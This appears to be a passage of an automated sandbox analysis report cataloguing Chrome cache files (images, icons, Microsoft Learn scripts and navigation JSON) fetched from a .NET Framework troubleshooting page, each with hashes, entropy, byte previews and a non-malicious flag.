SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and 